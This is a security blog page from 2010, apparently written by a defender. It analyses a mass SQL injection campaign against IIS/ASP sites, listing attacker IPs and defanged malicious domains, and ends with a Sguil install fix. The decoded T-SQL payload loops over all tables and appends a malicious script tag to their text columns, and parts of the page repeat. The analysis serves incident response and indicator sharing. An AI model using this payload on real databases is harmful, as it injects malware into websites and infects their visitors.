I'm continuing to see ongoing SQLi attempts using the same injection technique we saw a couple of weeks ago. As one would expect the third-party site hosting the malicious JavaScript keeps changing. Below is a list of both the source IP addresses of the attempted SQLi attack as well as the script URL they're trying to inject:
**Last Updated 24-Jun-2010 12:45 EDT**
Source IP addresses of SQLi attacks:
86.197.85.243
218.248.42.113
Malicious Script URLs:
hxxp://oem.webserviceget.ru/js.js
hxxp://org.webservicefull.ru/js.js
hxxp://kernel.webserviceget.ru/js.js
These have been reported to MalwareDomains, ISC, Sucuri and Shadowservers.
Thursday, June 24, 2010
Wednesday, June 9, 2010
Anatomy of the latest Mass IIS/ASP infection
Over at sucuri they've blogged about the latest mass iis/asp infection. I was alerted to the first attempts against some of my sites Monday June 7 at 9:30 a.m. thanks to OSSEC. We've seen this type of mass sql injection several times in the past few years so why haven't sites smartened up? Anyways, here's a quick anatomy of this specific attempt.
Original web request (payload truncated for readability):
2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - www.website.com 200 0 0 32068 1685 0
When we pull this apart we have:
dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076........6F523B2D2D
eXEc(@s)--
So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':
0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.
cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E
decoded:
0x<script src=hxxp://ww.robint.us/u.js></script>
UPDATED 11/06/10
Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:
hxxp://2677.in
hxxp://bbs.cnzz.com
hxxp://data.cnzz.com
hxxp://doc.cnzz.com
hxxp://go.cnzz.com
hxxp://liuyan.cnzz.com
hxxp:/miibeian.gov.cn
hxxp://new.cnzz.com
hxxp://s11.cnzz.com
hxxp://si1.cnzz.com
hxxp://tool.chinaz.com
hxxp://v1.cnzz.com
hxxp://w.cnzz.com
hxxp://www.cnzz.com
hxxp://www.lianmeng.com
hxxp://zs13.cnzz.com
UPDATE #2 11/06/10
I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.
https://www.virustotal.com/analisis/725f0cc85e34151e7e6af81a4f221b47a6825944cbaf68a4b5daf4023e5143e4-1276275724
UPDATE #3 11/06/10
There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.
Original web request (payload truncated for readability):
2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - www.website.com 200 0 0 32068 1685 0
When we pull this apart we have:
dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076........6F523B2D2D
eXEc(@s)--
So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':
0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.
cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E
decoded:
0x<script src=hxxp://ww.robint.us/u.js></script>
UPDATED 11/06/10
Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:
hxxp://2677.in
hxxp://bbs.cnzz.com
hxxp://data.cnzz.com
hxxp://doc.cnzz.com
hxxp://go.cnzz.com
hxxp://liuyan.cnzz.com
hxxp:/miibeian.gov.cn
hxxp://new.cnzz.com
hxxp://s11.cnzz.com
hxxp://si1.cnzz.com
hxxp://tool.chinaz.com
hxxp://v1.cnzz.com
hxxp://w.cnzz.com
hxxp://www.cnzz.com
hxxp://www.lianmeng.com
hxxp://zs13.cnzz.com
UPDATE #2 11/06/10
I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.
https://www.virustotal.com/analisis/725f0cc85e34151e7e6af81a4f221b47a6825944cbaf68a4b5daf4023e5143e4-1276275724
UPDATE #3 11/06/10
There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.
Tuesday, May 11, 2010
Sguil client error with Ubuntu 10.04
After running Ubuntu 10.04 at home for a couple of weeks I decided to go ahead and upgrade my work system. Everything went smooth until I went to launch the Sguil client.
$ ./sguil.tk
ERROR: Cannot fine the Iwidgets extension.
The iwidgets package is part of the incr tcl extension and is
available as a port/package most systems.
See http://www.tcltk.com/iwidgets/ for more info.
Iwidgets was definitely installed so I asked in #snort-gui and qru suggested the following command, which provided some direction:
$ tclsh
% package require Iwidgets
version conflict for package "Tcl": have 8.4, need 8.5
Sguil doesn't support Tcl8.5 so we definitely want to stick with Tcl8.4. This seems to imply we have the "wrong" version of Iwidgets however that's not quite true. Turns out that with Ubuntu Lucid 10.04 we have the "wrong" versions of itcl and itk. Ubuntu Lucid includes the following versions of itcl and itk which require Tcl8.5 and Tk8.5:
itcl3_3.4~b1-2
itk3_3.3-2
The quick and dirty solution is to remove these new versions and grab the .debs from Ubuntu Hardy.
$ sudo apt-get remove tcl8.5
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
java-common
Use 'apt-get autoremove' to remove them.
The following packages will be REMOVED:
itcl3 itk3 iwidgets4 tcl8.5 tk8.5
0 upgraded, 0 newly installed, 5 to remove and 9 not upgraded.
After this operation, 10.0MB disk space will be freed.
Do you want to continue [Y/n]? y
(Reading database ... 187845 files and directories currently installed.)
Removing iwidgets4 ...
dpkg: warning: while removing iwidgets4, directory '/usr/share/tcltk/iwidgets4.0.1' not empty so not removed.
Removing itk3 ...
Removing itcl3 ...
Removing tk8.5 ...
Removing tcl8.5 ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Processing triggers for menu ...
Processing triggers for man-db ...
Now grab the .debs for Ubuntu Hardy and install:
http://packages.ubuntu.com/hardy/itk3
http://packages.ubuntu.com/hardy/itcl3
$ sudo dpkg -i itcl3_3.2.1-3.1_amd64.deb
$ sudo dpkg -i itk3_3.2.1-3.1_amd64.deb
Last but not least we need to re-install Iwidgets:
$ sudo apt-get install iwidgets4
That's it, you should once again be able to launch the Sguil client.
$ ./sguil.tk
ERROR: Cannot fine the Iwidgets extension.
The iwidgets package is part of the incr tcl extension and is
available as a port/package most systems.
See http://www.tcltk.com/iwidgets/ for more info.
Iwidgets was definitely installed so I asked in #snort-gui and qru suggested the following command, which provided some direction:
$ tclsh
% package require Iwidgets
version conflict for package "Tcl": have 8.4, need 8.5
Sguil doesn't support Tcl8.5 so we definitely want to stick with Tcl8.4. This seems to imply we have the "wrong" version of Iwidgets however that's not quite true. Turns out that with Ubuntu Lucid 10.04 we have the "wrong" versions of itcl and itk. Ubuntu Lucid includes the following versions of itcl and itk which require Tcl8.5 and Tk8.5:
itcl3_3.4~b1-2
itk3_3.3-2
The quick and dirty solution is to remove these new versions and grab the .debs from Ubuntu Hardy.
$ sudo apt-get remove tcl8.5
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
java-common
Use 'apt-get autoremove' to remove them.
The following packages will be REMOVED:
itcl3 itk3 iwidgets4 tcl8.5 tk8.5
0 upgraded, 0 newly installed, 5 to remove and 9 not upgraded.
After this operation, 10.0MB disk space will be freed.
Do you want to continue [Y/n]? y
(Reading database ... 187845 files and directories currently installed.)
Removing iwidgets4 ...
dpkg: warning: while removing iwidgets4, directory '/usr/share/tcltk/iwidgets4.0.1' not empty so not removed.
Removing itk3 ...
Removing itcl3 ...
Removing tk8.5 ...
Removing tcl8.5 ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Processing triggers for menu ...
Processing triggers for man-db ...
Now grab the .debs for Ubuntu Hardy and install:
http://packages.ubuntu.com/hardy/itk3
http://packages.ubuntu.com/hardy/itcl3
$ sudo dpkg -i itcl3_3.2.1-3.1_amd64.deb
$ sudo dpkg -i itk3_3.2.1-3.1_amd64.deb
Last but not least we need to re-install Iwidgets:
$ sudo apt-get install iwidgets4
That's it, you should once again be able to launch the Sguil client.
Subscribe to:
Posts (Atom)